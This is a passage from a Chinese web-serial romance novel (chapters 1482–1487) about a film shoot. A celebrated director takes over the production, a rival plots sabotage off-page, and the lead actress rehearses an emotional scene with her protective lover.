“因为我知道,如果你被那些人埋没了,那才是电影圈的损失。”秦肆的声音低了些,却带着绝对的重量,“所以,我才出面,替你挡了那些明枪暗箭。” 那时候其实圈内很多人都知道秦肆站队了秦扬帆,那些男导演才没敢再对秦扬帆下手。 他们清楚,秦肆代表的是圈内的态度,秦肆都承认了秦扬帆的才华,他们再胡来,还能比秦肆更厉害?没这个说法。 他看着秦扬帆,眼底的复杂情绪渐渐消散,只剩下一种强者独有的坦荡与直白:“你后来能有喘息的机会,能继续拍你的电影,不是因为别人可怜你,也不是因为运气,是因为我站队了你。而那些人之所以敢继续跟你合作,也是因为我欣赏你,认可你的才华。如果当时你没有那份才华,如果我看完你的电影觉得‘不过如此’,我连看都懒得看你,更别说帮你说话了。” 他说这话时,没有丝毫居高临下的傲慢,却有一种自然而然的、不容置疑的权威。 那是实力与地位赋予他的底气。 他不需要用夸张的语气来证明自己,一句“我站队了你”,就足以让所有人明白其中的分量。 第1482章 秦肆的手笔 秦扬帆听着,眼底渐渐泛起一丝湿润,她垂下眼眸,声音带着几分沙哑的真诚:“我知道。我一直都知道,当年如果不是你,我早就撑不下去了。所以,我一直很尊敬你,也很感激你。” 她当然知道秦肆的地位有多尊贵,也清楚自己当年能活下来,全靠秦肆的“站队”。 她不是没想过要报答,可秦肆那种人,什么都不缺,她能给的资源、人脉,对秦肆来说不过是锦上添花,毫无意义。 所以,她只能把这份感激藏在心底,用拍好每一部电影来回应。 她要让秦肆当年的“站队”不白费,要证明自己值得他的认可。 “尊敬?”秦肆听到这个词,又笑了,这次的笑意比之前更浓了几分,带着一丝调侃,却少了几分疏离,“你不用尊敬我,你只需要记住,你欠我的人情,早就还清了,你用你的才华,拍出了值得我看的作品,这就是最好的报答。” 他看着秦扬帆,语气认真了几分,“我秦肆做事,向来只看两点,一是实力,二是顺眼。你有实力,所以我站队你,可你太理想化,所以我‘不喜欢’你。但这些不重要,重要的是,你现在要明白,你欠的人情还清了,接下来的路,要靠你自己走,靠你的作品说话。” 他端起冰美式,轻轻啜了一口,语气恢复了之前的慵懒,却带着一种不容置疑的坚定:“就像现在,《灵媒》的拍摄,我不需要你‘尊敬’,我只需要你拿出你最好的状态,跟上我的节奏,拍出一部能让所有人都记住的作品。因为我们不是为了还人情,而是为了拍好一部作品,为了让更多人看到温栩栩的光芒,看到你的才华,看到我的选择没有错。” 秦扬帆深吸一口气,眼底的湿润渐渐消散,她看着秦肆,郑重地点了点头:“我会的,秦导。我不会让你失望,也不会让温栩栩失望。” 秦肆看着她眼底的光芒,满意地点了点头,重新戴上墨镜,那股冷淡又邪气的气场再次笼罩周身。 他抬手看了眼腕表,语气随意却带着不容置疑的权威:“好了,闲话少说。秦扬帆,把拍摄计划拿来,我们该干活了,黎昀笙还等着我们拍出一部好作品,给温栩栩铺路呢。” 可就在这看似和谐的片场深处,暗流依旧在涌动。 王世豪的办公室内,落地窗外的阳光明媚得刺眼,却丝毫照不进他阴沉的脸色里。 他猛地将手中那只价值不菲的白瓷茶杯砸在地上,清脆的碎裂声在空旷的房间里炸开,碎片与褐色的茶水溅得到处都是,像极了他此刻濒临失控的情绪。 他站在落地窗前,指节因过度用力而泛白,眼神阴鸷得能滴出水来,死死盯着窗外远处那片模糊的天际线,仿佛要将那头的黎昀笙与秦肆彻底撕碎。 “秦肆?黎昀笙!你们欺人太甚!以为这样就能护住温栩栩?没那么容易!” 他的声音低沉嘶哑,带着压抑不住的怒火与不甘,在空旷的办公室里回荡。 他知道,秦肆的加入让这场博弈的天平彻底倾斜。 那不是普通的导演,而是秦家的少爷,是国际影坛上说一不二的鬼才,更是圈内公认的“风向标”,他的到来意味着《灵媒》剧组从此有了难以撼动的靠山,意味着温栩栩再也不是那个任他揉捏的“小明星”。 可王世豪在圈里摸爬滚打这么多年,深知“底牌”的力量,他手里还握着能牵制温栩栩和秦肆的筹码,这场博弈,远未到落幕的时候。 “任你再如何谨慎,有时也扛不住有些宵小蝼蚁,他们就躲在暗处,随时准备冲出来撕咬你的身体,撕扯成碎片。”王世豪低声呢喃着,嘴角勾起一抹阴冷的弧度,眼底的阴鸷渐渐转化为一种近乎疯狂的算计。 他缓缓走到办公桌前,拿起电话,指尖在按键上悬停片刻,最终还是拨通了一个隐秘的号码,声音压得极低,带着一种不容置疑的威胁:“按计划行事,我要让温栩栩在片场待不下去,让秦肆的《灵媒》拍不下去。” 电话那头传来一个低沉的声音,应了一声便挂断了电话。 王世豪放下手机,重新看向窗外,眼底的疯狂渐渐被一种冷酷的平静取代。 他知道,接下来的每一步都至关重要,他必须精准地抓住那个机会,才能扭转局势,让黎昀笙和秦肆为他们的“多管闲事”付出代价。 与此同时,温栩栩刚结束一场戏的拍摄,额角还带着细密的汗珠,助理递来的湿巾还没来得及擦,她的目光就被片场中央的一道身影牢牢吸引住. 那人正随意地躺在导演专属的躺椅上,姿态悠闲得像在自家花园晒太阳。 他穿着一件墨绿色的丝绒衬衫,领口松松垮垮地敞着,露出精致的锁骨,手腕上戴着一串简约的银质手链,阳光落在他身上,仿佛为他镀上了一层柔和的光晕。 最引人注目的是他的脸,眉峰高挑,带着几分不羁的锋利,鼻梁高挺得恰到好处,下颌线清晰如刀削,偏偏唇角勾着一抹似有若无的弧度,既显冷淡,又透着股漫不经心的邪气。 而他手中捧着的,竟是一本色彩鲜艳的漫画本,指尖漫不经心地翻过一页,目光专注得仿佛在看什么绝世珍宝。 “那是秦肆导演。”旁边的助理小声提醒道,声音里满是敬畏与激动,“就是那位国际大导,秦家的少爷。” 温栩栩的心脏猛地一跳,她当然听说过秦肆的名字,那几乎是圈内无人不知、无人不晓的传奇。 有人说他是“鬼才”,因为他从不被题材束缚,既不会为了所谓的“艺术纯粹性”而放弃票房,也不会为了商业利益而妥协创作. 他想拍文艺片,就能拍出叫好又叫座的作品,他想拍爆米花喜剧,就能拍出讽刺意味十足、让观众笑着流泪的经典,他甚至因为喜欢一部狗血言情,便亲自操刀改编成电视剧,自那之后,圈内的言情剧就没有一部能超越那部的热度,后来那部高过那部现代剧热度的古装玄幻言情剧,竟然也是秦肆的手笔。 第1483章 再加几场她的戏份 更让人惊叹的是,秦肆几乎涉猎了所有能拍的题材,动漫电影、军旅题材、青春校园、古装玄幻,甚至是冷门的悬疑剧情片,他都一一尝试过,且每一部都留下了让人津津乐道的经典。 圈内导演们争相求合作,观众们期待他的每一部新作,粉丝们为他疯狂. 不仅仅因为他的作品,更因为他那张颠倒众生的脸,以及那股与生俱来的、游刃有余的气场。 但温栩栩也清楚,秦肆唯一不碰的,就是惊悚恐怖片。 不是因为他怕,而是因为他觉得“恐怖”这种情绪应该留在真实的生活里,电影里的“恐怖”太假,反而失去了那份让人战栗的真实感。 可即便如此,也丝毫不影响他的地位. 他就像圈内的一颗恒星,无论涉足哪个领域,都能散发出耀眼的光芒,让无数人仰望。 这确实是温栩栩真正意义上第一次与秦肆见面,之前的种种,都只是圈内的传闻与作品的共鸣。 此刻亲眼见到,她才发现传闻远不及本人的十分之一。 秦肆身上的气场太强大了,即便只是悠闲地躺在那里看漫画,也像自带聚光灯,让周围的一切都成了陪衬,让人无法忽视。 温栩栩看着他,眼底满是崇拜与期待,可这份激动很快就被另一股情绪冲淡,她想到了秦扬帆。 秦扬帆是《灵媒》最初的导演,也是她在这部戏里的引路人。 可现在秦肆来了,以他的身份与地位,怎么可能真的只当一个“副导演”? 圈内人都知道,秦肆向来只做“掌舵人”,从来不会屈居人下。 秦肆的到来,意味着秦扬帆的总导演位置必然不保,这意味着秦扬帆之前的所有心血、所有努力,都可能会付诸东流。 温栩栩想起秦扬帆为了这部戏熬夜改剧本、跟投资方周旋的模样,心里涌起一阵酸涩与愧疚。 她知道,秦扬帆的失职是事实,可她也清楚,秦扬帆当初之所以会默许周明的刁难,也是因为被王世豪暗中施压,处境艰难。 “栩栩姐,该去补妆了。”助理的声音打断了温栩栩的思绪,她收回目光,轻轻“嗯”了一声,却依旧忍不住回头看了眼秦肆的方向。秦肆似乎察觉到了她的视线,抬眸望了过来,隔着一段距离,两人的目光短暂交汇。 秦肆眼底没有太多情绪,只有一种洞察一切的淡然,还有一丝不易察觉的审视。 温栩栩淡然的移开视线,跟着助理走向化妆间。 一路上,片场工作人员的窃窃私语传入耳中,更让她的心情愈发复杂。 “天啊,真的是秦肆导演!我居然能在《灵媒》见到他!” “谁说不是呢,秦扬帆导演这次可真是遇到对手了,秦肆导演来了,她这总导演的位置肯定坐不稳了。” “早就听说秦肆导演脾气冷淡,没想到本人这么有气场,看一眼就觉得好厉害。” “可不是嘛,而且他刚才还跟秦扬帆导演说了,要按照他的节奏来,看来以后片场就是秦肆导演说了算啦。” 这些话像一根根细针,扎在温栩栩的心上。 她知道,秦肆的到来是为了护她,是为了让《灵媒》拍得更好,可她也清楚,这背后意味着秦扬帆的退场。 她想起之前秦扬帆跟她道歉时的模样,想起秦扬帆说“我会全力配合秦导”的语气,心里满是纠结。 她感激秦肆,可也心疼秦扬帆,她不想看到有人因为她而失去自己的位置。 不过秦扬帆被迫让出总导演的位置其实也确实怪秦扬帆自己,如果她一直都谨小慎微没有任由周明在剧组胡来,也 不会走到这一步。 化妆间内,温栩栩坐在镜子前,看着镜子里的自己,眼底满是复杂的情绪。 化妆师正在为她补妆,动作轻柔,却能感受到她的低气压。 “栩栩姐,怎么了?是不是哪里不舒服?”化妆师小声问道,语气里满是关切。 温栩栩摇了摇头,勉强扯了扯嘴角,露出一个淡淡的微笑:“没有,只是在想接下来的戏。” 她看着镜子里的自己,眼底的纠结渐渐转化为一种坚定,无论如何,她都不能辜负秦肆的到来,更不能让秦扬帆的心血白费。她要拍好《灵媒》,用最好的状态,用最出色的作品,让所有人看到她的价值,也让秦扬帆的努力不被埋没。 而片场中央,秦肆已经合上了漫画本,随意地放在躺椅旁。 他站起身,墨绿色的衬衫在阳光下泛着柔和的光泽,那股强大的气场再次笼罩周身。 他扫了眼片场,目光落在正在调整威亚设备的工作人员身上,语气慵懒却带着不容置疑的权威:“威亚设备检查好了吗?安全第一,温栩栩的高空戏,一点差错都不能有。” 工作人员立刻上前,恭敬地回答:“秦导,已经检查了三遍,绝对安全。” 秦肆点了点头,眼底掠过一丝满意的神色,却又很快恢复了冷淡:“那就好。秦扬帆,过来一下,我们把接下来的拍摄计划再细化一下。” 秦扬帆闻言,立刻快步走来,脸上带着恭敬的神色,没有丝毫的不甘与怨怼。 她知道,秦肆的到来是必然的结果,也是最好的结果。她走到秦肆面前,将手中的拍摄计划递过去,语气认真:“秦导,这是我根据之前的拍摄进度和您的要求重新调整的计划,您看看。” 秦肆接过计划,随意地翻了翻,墨镜虽未戴上,可那双深邃的眼眸依旧带着一种洞察一切的锐利。 他扫了几眼,便抬眸看向秦扬帆,语气随意却带着不容置疑的权威:“高空戏提前,就今天下午。温栩栩的状态不错,趁热打铁,拍完这场重头戏,后面的进度就好赶了。” 秦扬帆心中一凛,知道秦肆这是要“速战速决”,也清楚这是秦肆在向所有人宣告《灵媒》现在由他说了算。 她点了点头,应道:“好的,我这就去安排。” 秦肆看着她,秦扬帆虽然理想化,但做事认真,也识时务,这点还是不错的。 他端起工作人员递来的冰美式,轻轻啜了一口,目光落在远处正在补妆的温栩栩身上,语气淡淡:“还有,温栩栩的戏份,再加几场。” 第1484章 阿笙的眼光一向很好 化妆间内的灯光暖得恰到好处,将空气都染成了温柔的橘色。 温栩栩刚结束补妆,额角还沾着细碎的亮片,像撒了一把碎星。 她拎着裙摆转身时,正撞见黎昀笙坐在沙发上看文件,指尖在纸页间轻轻摩挲,侧脸线条冷峻,眉宇间却透着一丝不易察觉的柔和。 “回来了?”黎昀笙抬眸,眼底的冷意瞬间消融,化作一汪春水。 他微微挑了下眉,目光落在她沾着亮片的额角,声音低沉又温柔,“看到秦肆了?” 温栩栩眼睛一亮,像揣了颗跳动的星星,轻快地朝他走过去,裙摆扫过地毯发出细微的沙沙声。 下一秒,她便毫无预兆地赖进了他怀里,柔软的发丝蹭过他的下巴,带着淡淡的栀子花香,那是温栩栩常用的洗发水味道,早已成了黎昀笙最熟悉的气息。 “看到了!”她的声音带着笑意,闷在他胸口,像小猫在轻轻挠,“我第一次见秦肆,以前只在屏幕上见过,真人比屏幕里还好看,气场也更强。” 黎昀笙自然地回抱住她,手臂收得紧了些,将她整个人圈在怀里,仿佛要隔绝外界的所有目光。 掌心轻轻摩挲着她后背的衣料,指尖能感受到她细腻的体温,声音带着一丝慵懒的磁性:“所以呢?” 温栩栩抬高眉眼,眼尾染着浅粉,像桃花瓣落在眼底。 她仰头看着他,眼底满是狡黠的笑意,像在分享一个秘密:“所以我觉得秦肆好像长得真的很好看,不愧是圈里公认最帅的导演。就是那种有那么点邪魅狂拽的感觉,像随时会掀起一场风暴,但偏偏戴上眼镜又有点斯文败类的气质,反差感太强了。” 她顿了顿,指尖轻轻戳了戳他的胸口,语气里满是欣赏,“我觉得他特别适合演一款变态版本的霸道总裁,眼神一眯,台词一出,应该很多人都会喜欢看的。” 黎昀笙听到这话,眼底的温柔瞬间凝固,取而代之的是一种带着醋意的警惕。 他捏住她的下巴,力道不重,却带着不容置疑的占有欲,目光紧紧锁着她的眼眸,声音低沉又带着几分危险:“怎么?那很多人里面,包括你吗?你也喜欢他那款?” 温栩栩看着他眼底的醋意非但没有躲开,反而更主动地凑过去,鼻尖轻轻蹭过他的鼻尖,唇瓣若有若无地贴着他的,声音温温柔柔,像春风拂过湖面:“我的话,肯定更喜欢你这款冰山脸的变态总裁了呀。”她故意拖长了尾音,眼底满是笑意,“毕竟,你可是我的专属,谁也抢不走。” 黎昀笙怔了下,眼底的醋意瞬间消散,取而代之的是一种被甜意填满的柔软。 可很快,他就反应过来自己被温栩栩调侃了“变态”这两个字,从她嘴里说出来,竟带着一种说不出的俏皮与暧昧,像在撒娇。 他指尖轻轻捏了捏她的脸颊,力道重了些:“谁是变态?再说一次?” 温栩栩“哎呀”几声,脸颊被捏得有点红,她伸手轻轻拍了拍他的手背,声音软糯糯糯的:“疼疼疼,你轻点的!”语气里满是撒娇,像在讨饶,却又带着一种说不出的亲昵。 就在这时,化妆间的门被轻轻敲了三下,节奏不疾不徐,带着一种漫不经心的随意。 紧接着,秦肆的声音透过门板传了进来,带着几分调侃与戏谑:“黎云笙,你能不能稍微注意点影响?这是在剧组,虽然我知道你们的关系,但是也不用这么明目张胆吧,青天白日的,孤男寡女亲亲我我的,影响多不好。” 温栩栩的脸颊瞬间更红了,像被晚霞染透,连耳尖都泛起了淡淡的粉。 她下意识地往黎昀笙怀里缩了缩,仿佛要找个地方躲起来,却又忍不住抬头看向门口,眼底满是不好意思。 黎昀笙眉峰微挑,眼底掠过一丝无奈,又带着几分被撞破的尴尬。他看着怀里的温栩栩,又听着门口秦肆的调侃,声音低沉又带着几分冷意:“你推门进来。” 秦肆站在门外,听到这话,唇角忍不住抽了抽,眼底满是笑意。 他随性地推开门,墨绿色的丝绒衬衫在灯光下泛着柔和的光泽,那双深邃的眼眸扫过沙发上的两人,语气满是调侃:“你们孤男寡女亲亲我我的,我方便进去?你当我是你?变态。” 他故意加重了“变态”两个字,语气里满是戏谑,眼底却带着一丝笑意。 黎昀笙看着他,眼底的无奈更浓了,心里忍不住腹诽:到底谁变态了,满脑子黄色废料的。 可面上,他还是松开了温栩栩,起身整理了一下衣领,语气冷淡:“不进来就闭嘴。” 秦肆笑着走进来,随意地靠在化妆间的门框上,目光扫过温栩栩,又看向黎昀笙,语气调侃:“啧,怎么这么快就不乐意了?刚才还抱得那么紧呢。” 他看着温栩栩,眼底带着一丝笑意,“温栩栩,你倒是会哄人,冰山脸的变态总裁,这形容可真贴切。” 温栩栩忍不住反驳:“秦肆导演,我就是觉得黎昀笙的气质很适合演那种冷酷又偏执的角色。”她偷偷抬头看了眼黎昀笙。 黎昀笙听到这话也不生气,其实他真没觉得温栩栩说自己变态是吐槽,情人间的俏皮话罢了。 黎昀笙松开与温栩栩交缠的手,转身看向秦肆,语气淡却带着不容忽视的郑重:“这是我温栩栩,我的人,也是《灵媒》的女主。” 秦肆闻言,墨镜已摘下,那双深邃的眼眸带着审视落在温栩栩身上。 从她因补妆而略显精致的眉眼,到挺直的鼻梁,再到微微抿起的、带着几分倔强的唇。 目光扫过她因刚才与黎昀笙亲昵互动而泛红的耳尖时,眼底掠过一丝不易察觉的笑意,随即又恢复成惯常的漫不经心。 他上下打量了几眼,慢悠悠开口,声音带着几分慵懒的调侃:“阿笙的眼光一向很好,这次真是好到有些离谱的程度了。” 第1485章 自信点,我就是在夸你 这话乍听是夸赞,却带着秦肆特有的、藏在骨子里的锋利,既点出黎昀笙对温栩栩的偏爱,又暗含对“偏爱”程度的微妙调侃,让人分不清是真心还是玩笑,却精准地将话题落在了温栩栩身上,没有丝毫尴尬。 温栩栩站在原地,没有丝毫怯场。 她迎着秦肆的目光,眼底带着坦荡的笑意,语气轻松又带着几分俏皮:“秦导,我当您在夸我了。”她清楚秦肆的身份与性格,更知道在这位鬼才导演面前,过于拘谨反而失了本真。 秦肆看着她眼底的光,唇角勾起一抹弧度,带着几分欣赏,语气也爽快了许多:“自信点,我就是在夸你。”他抬手将墨镜随意别在衬衫领口,目光转向黎昀笙,又落回温栩栩身上,语气瞬间认真了几分,“聊点正事。我刚才看了秦扬帆拍的一些镜头,她的镜头语言其实很有想法,对你的偏爱很明显几个特写,尤其是眼神戏的调度,能看出她想把你身上那种坚韧又带着点破碎感的特质拍出来。” 他顿了顿,指尖轻轻敲了敲摄影机的机身,发出细微的声响:“但问题在于,后期有些镜头是周明拍的,构图混乱,光影也不对,根本配不上你的状态,更配不上阿笙对你的期待。这些镜头肯定要删掉,重新拍摄。” 温栩栩听着,没有丝毫犹豫,立刻点头,语气坚定又带着几分跃跃欲试:“没问题,秦导。重新拍就重新拍,我随时可以。”她心里清楚,秦肆这是在为她争取最好的呈现效果,更是为了《灵媒》的整体品质,她自然不会有任何推辞。 黎昀笙站在一旁,看着两人之间流畅的对话,眼底满是温柔。 他自然地伸手,轻轻揽住温栩栩的肩膀,指尖隔着薄薄的衣料传递着温度,语气带着几分不容置疑的护短:“需要什么配合,直接说。栩栩会配合的。” 秦肆看着黎昀笙的动作,眼底笑意更深,调侃道:“行了行了,别总在剧组秀恩爱,我知道你护短,但也要让温栩栩好好拍戏。” 他转头看向温栩栩,语气认真起来,“重新拍摄的镜头,我会重新设计调度,主要围绕你的核心情绪展开,这场戏要拍出你在绝境中的挣扎,也要拍出你眼底那点不灭的光。你要是觉得哪里不对,随时提,我们再调整。” 温栩栩点头,眼底满是认真:“谢谢秦导。” 秦肆看着她眼底的光,心里满是满意。 他见过太多新人在面对重拍时的慌乱,也见过太多人为了讨好导演而说“没问题”,可温栩栩不一样,她的眼底有对表演的敬畏,也有对自己的自信,更有着一种不卑不亢的坦荡,这正是他欣赏的。 “行,那就这么定了。”秦肆抬手看了看腕表,语气恢复了惯常的随意,“下午两点,片场准备,我们先把那几场重拍的镜头搞定。温栩栩,你要是有时间,现在可以再对一下情绪,她对这场戏的理解还是挺深的。” 温栩栩应了一声,看向黎昀笙。 黎昀笙轻轻捏了捏她的肩膀:“好,我陪你对戏。” 秦肆挑眉又看向黎昀笙,语气带着几分调侃,忍不住笑了:“得,我算是看出来了,你眼里除了温栩栩,谁都看不见了。行了,我去看看道具组那边准备得怎么样了,下午的重拍,可不能出任何差错。” 温栩栩眉眼之间也明显带着笑意的,她喜欢有人说自己跟黎云笙关系亲近。 秦肆笑着摇了摇头,转身准备离开,走到门口时,又回头看了眼沙发上的两人,眼底满是笑意:“行,那你们继续‘亲亲我我’,我出去了。不过,记得把门关好,别让别人看到了。” 温栩栩脸颊更红了,忍不住小声反驳:“秦肆导演,我们没……” 话还没说完,黎昀笙已经伸手轻轻捏了捏她的脸颊,打断了她的话,语气带着几分宠溺:“好了,别闹了。秦肆走了,我陪你对戏。” 温栩栩看着他,眼底满是笑意,点了点头。 她站起身,整理了一下裙摆,伸手轻轻拉住黎昀笙的手,指尖与他交缠在一起,带着一种说不出的亲昵与依赖。 黎昀笙看着她,眼底满是温柔。 …… 片场已经被布置好了,秦肆为了方便两人对戏也清退了剧组。 傍晚的片场被精心布置成一片幽暗的幻境,深紫色的幕布垂落,将外界的喧嚣尽数隔绝。 地面铺着仿真荆棘道具,尖刺上沾着细碎的、仿若凝固鲜血的红色亮片,在昏暗的灯光下泛着诡异而凄美的光泽。 空气中弥漫着淡淡的松香与铁锈味混合的气息,那是道具组特意调配的氛围,让整个空间都浸在一种濒临绝境的压抑与破碎的唯美里。 温栩栩站在“荆棘地”的起点,褪去了日常的轻盈,浑身散发着一种近乎透明的脆弱感。 她身上的戏服早已破碎不堪,布料上沾染着斑驳的“血迹”,裙摆被荆棘勾得支离破碎,露出的小腿上也沾着点点红痕,却衬得她的皮肤愈发苍白。 她微微垂着头,长发散落,遮住了大半张脸,只有下颌线透着一股倔强的弧度,呼吸轻浅得像随时会消散的雾。 黎昀笙坐在一旁的导演椅上,手里拿着温栩栩丢来的剧本,指尖轻轻摩挲着那一页写满台词的纸张。 剧本上,这场戏的标注密密麻麻,有温栩栩自己用铅笔写下的情绪注解,有对角色动作的揣摩,甚至还有几处小小的涂鸦,是荆棘缠绕的玫瑰,带着刺,却也藏着倔强的生命力。 他抬眼看向温栩栩,眼底没有丝毫导演的审视,只有纯粹的温柔与期待:“准备好了吗?” 温栩栩抬起头,长发从脸颊两侧滑落,露出一双眼眸。 那双眼眸里没有了平日的灵动,只盛着一种深不见底的绝望,却又在最深处藏着一点不肯熄灭的微光,像暴风雨中摇摇欲坠的烛火。她轻轻点头,声音沙哑,带着一种破碎的质感:“准备好了。” “开始。”黎昀笙的声音低沉而平稳,落在寂静的片场里,像投入湖面的一颗石子,瞬间搅动了所有的情绪。 第1486章 我找到你了,我就没事了 温栩栩深吸一口气,仿佛真的置身于那片真实的荆棘地。 她的脚尖轻轻触碰地面的道具荆棘,仿佛能感受到尖刺扎入皮肤的刺痛,她没有刻意表演,却让那份痛感透过眼神传递出来。下一秒,她缓缓向前迈出一步,膝盖重重地跪在荆棘上,身体不受控制地晃了晃,却始终没有倒下。 一声低吟从她唇边溢出,带着隐忍的痛楚。 她的双手撑在地面,指尖因为用力而泛白,沾着红色亮片的荆棘刺入掌心,可她仿佛毫无知觉,只是缓慢地、一点一点地挪动身体,朝着前方那片光亮爬去,那里,是男主角所在的方向。 她的动作缓慢而艰难,每一次挪动,身上的戏服都会被荆棘勾住,发出细微的“嘶啦”声,像是皮肤被撕裂的声音。 她的小腿被尖刺划破,血痕渐渐蔓延,与地上的“血迹”融为一体。 可她的眼神始终没有离开前方那片光亮,眼底的微光越来越亮,带着一种近乎偏执的坚定,仿佛那道光就是她唯一的救赎。 “游远……”她的声音颤抖着,带着血沫的味道,每一个字都像从喉咙里挤出来,却带着千斤的重量。 片场的空气仿佛凝固在那片幽暗的幻境里,深紫色幕布垂落的阴影与地面荆棘上闪烁的“血珠”交织,构成一幅破碎而凄美的画卷。 温栩栩依旧匍匐在道具荆棘间,指尖还攥着那缕缥缈的衣角,眼底残留着戏中角色“挣扎到绝境才触碰希望”的炽烈与脆弱,泪水顺着脸颊滑落,在苍白的肌肤上划出透明的痕迹,混着“血迹”显得愈发凄楚动人。 她保持着跪伏的姿态,身体因长时间的肢体发力而微微颤抖,可那份从戏中溢出的情绪,像无形的潮水,将整个片场都浸在一种近乎窒息的悲怆里。 黎昀笙坐在导演椅上的身影,早已绷得笔直。 他眼底的温柔与骄傲,在看到温栩栩眼角滚落的泪珠时,瞬间被一种尖锐的疼惜取代。 作为恋人,看着心上人将自己抛入绝望深渊的不忍。 她演得太真了,真到连他都忘了这只是戏。 “我……找到……你了……”温栩栩的声音轻得像一声叹息,带着耗尽所有力气的虚弱,却藏着穿透黑暗的力量。 可这句台词落下的瞬间,黎昀笙再也无法坐视。 他猛地站起身,黑色西装裤的褶皱因他的动作而瞬间舒展,脚步带着一种近乎急切的慌乱,朝着温栩栩的方向快步走去。 地面的荆棘道具被他的鞋尖轻轻扫过,发出细微的声响,却丝毫没有影响他靠近的步伐。 温栩栩正沉浸在角色的情绪里,指尖还攥着那缕虚幻的衣角,突然感受到一道熟悉的、带着温度的身影将自己紧紧搂进怀里。 那怀抱带着清冽的雪松香,瞬间包裹住她冰冷而颤抖的身体,像一道坚固的屏障,将幻境中所有的荆棘与黑暗都隔绝在外。 她愣了一下,下意识地用双手推了推他的胸膛,声音带着刚从戏中抽离的沙哑与不解:“不是在陪我对戏吗?突然抱我做什么,完全出戏了啊……” 她的话语里满是困惑,眼底还残留着戏中的迷茫,抬头看向黎昀笙时,睫毛上还沾着未干的泪珠,像沾了晨露的蝶翼,轻轻颤动着。 她不明白,明明刚才还冷静地坐在那里,用眼神传递鼓励的他,怎么突然就冲了过来,打破了这场戏最后的余韵。 黎昀笙没有回答,只是将她搂得更紧,下颌轻轻抵在她的发顶,呼吸间满是她发丝的清香。 他能清晰地感受到她身体的颤抖,感受到她掌心传来的冰冷。 那是长时间跪在冰冷荆棘道具上,又耗尽情绪的疲惫。他缓缓低下头,薄唇轻轻落在她侧脸那道未干的泪痕上,动作轻柔得像怕碰碎了易碎的琉璃,带着一种难以言喻的疼惜。 “我有点舍不得,”他的声音低沉而沙哑,带着一种近乎脆弱的坦诚,每一个字都像是从胸腔深处溢出,带着灼热的温度,轻轻熨帖着她冰凉的肌肤,“温栩栩,看到你难过,我好像也有点难过。” 这句话,没有黎云笙平日的冷静,没有恋人的甜腻,只有一种直白到极致的疼惜,像冬日里突然落下的暖阳,猝不及防地照进温栩栩的心底。 她愣住了,原本推着他胸膛的手指,慢慢松开,轻轻攥住了他西装的衣料,指尖能感受到他温热的体温透过布料传来,驱散了她身上所有的寒意与疲惫。 她仰头看向他,眼底的迷茫渐渐褪去,只剩下满是温柔的光,像被他眼底的疼惜融化了所有的冰霜。 黎昀笙看着她眼底的光,眼底的疼惜愈发浓烈。 他指尖轻轻拂过她脸颊上的泪痕,动作轻柔得像对待世间最珍贵的宝物:“你演得太好了,好到我忘了自己是导演,忘了这是在片场。我只看到你浑身是血地爬向我,只看到你眼底的绝望与希望,我受不了,温栩栩,我真的受不了看到你难过。” 他想起刚才那场戏,看着她一点点在荆棘中挪动,看着她因剧痛而扭曲的面容,看着她眼底那团燃烧的火焰,他的心就像被一只无形的手紧紧攥住,疼得几乎无法呼吸。 他知道这是戏,知道她是为了角色才如此投入,可那份心疼,却不受控制地蔓延开来,像藤蔓缠绕着他的心脏,让他无法再冷静地坐在那里,只能冲过来,用拥抱告诉她,你不用再挣扎了,我在这里,你不用再承受这份痛苦。 温栩栩看着他眼底那份真切的疼惜,看着他因心疼而微微泛红的眼眶,突然笑了。 那笑容带着泪痕,却像冰雪初融后的春日,带着一种说不出的温柔与暖意。 她伸手轻轻环住他的腰,将脸埋进他的颈窝,声音带着哽咽的沙哑:“我没事的,黎昀笙,这只是戏而已。你看,我找到你了,我就没事了。” 黎昀笙感受到她环在自己腰间的手臂,感受到她身体传来的温度,紧绷的神经终于慢慢放松下来。 第1487章 助演嘉宾 黎昀笙感受到她环在自己腰间的手臂,感受到她身体传来的温度,紧绷的神经终于慢慢放松下来。 他轻轻拍着她的背,像在安抚一只受惊的小兽:“我知道这是戏,可我还是心疼。栩栩,以后别再让自己这么累了,好吗?我不想看到你难过,哪怕只是在戏里。” 温栩栩靠在他怀里,感受着他胸腔的起伏,听着他有力的心跳声,所有的疲惫与委屈都烟消云散。 她轻轻点头,声音闷闷的,却带着坚定:“好,我听你的。只是刚才那场戏,我想把那份挣扎演得更真实一点,因为我在想,如果那真的是我,如果我要找的人是你,那她最后会找到你,所以再痛也值得。” 黎昀笙低头看着她,眼底满是温柔与骄傲。 他轻轻吻了吻她的额头,又吻了吻她的眼角,像是在为她拭去所有的痛苦与疲惫:“我知道你很勇敢,也很坚强。但你要记住,无论戏里戏外,我都会在你身边……” 温栩栩慢慢从他怀里抬起头,眼底满是温柔的笑意,像盛着整个星空。 她伸手轻轻拂去他眉间的褶皱,声音轻柔:“好啦,说起来,你刚才还说你忘记自己是导演,我怎么不知道你是导演了,又在胡说了。” 黎云笙很轻的嗯了一声:“如果你喜欢的话,我可以选修一个专业。” 温栩栩没忍住被他这话逗笑了。 黎昀笙看着她眼底的光,眼底的疼惜渐渐化为温柔的笑意。他轻轻握住她的手,指尖感受着她掌心的温度。 远处,秦肆正站在片场的角落,手里拿着咖啡杯,看着这一幕,眼底带着一丝了然的笑意。 他没有出声打扰,只是轻轻摇了摇头,转身走向摄影机,准备回看刚才那场戏的素材。 片场的余温还未散去,空气中还残留着荆棘道具的松香与温栩栩身上淡淡的茉莉香气。 黎昀笙依旧牵着温栩栩的手,指腹轻轻摩挲着她掌心因跪在荆棘上留下的浅淡红痕,眼神温柔得能滴出水来。 刚才那场戏后,两人之间的氛围愈发亲密。 “还疼吗?”黎昀笙的声音压得很低,带着刚散去的几分心疼,指尖轻轻避开她掌心的红痕,只在周围的肌肤上轻轻打圈,像是在用体温为她抚平不适。 温栩栩轻轻摇了摇头,指尖反过来勾了勾他的指节,眼底带着狡黠的笑意:“不疼了,你刚才抱我的时候,所有的疼都消失了。再说了,这点疼算什么,比起在龙套时期跑错片场、被导演骂到怀疑人生,这点苦根本不算什么。” 她仰头看向他,阳光落在她的眼底,像撒了一把细碎的星光,“而且,有你在,再疼也不怕。” 虽然不清楚温栩栩说这话是真是假,但黎云笙听着是高兴的。 黎昀笙看着她眼底的光,忍不住低头,在她额头上轻轻落下一吻,动作自然又亲昵,像已经重复了无数次的日常。 他还没来得及说话,口袋里的手机就震动起来,是秦扬帆打来的。 “看来是秦导那边有消息了。”温栩栩笑着松开他的手,指尖轻轻戳了戳他的掌心,“去接电话吧,我在这里等你。” 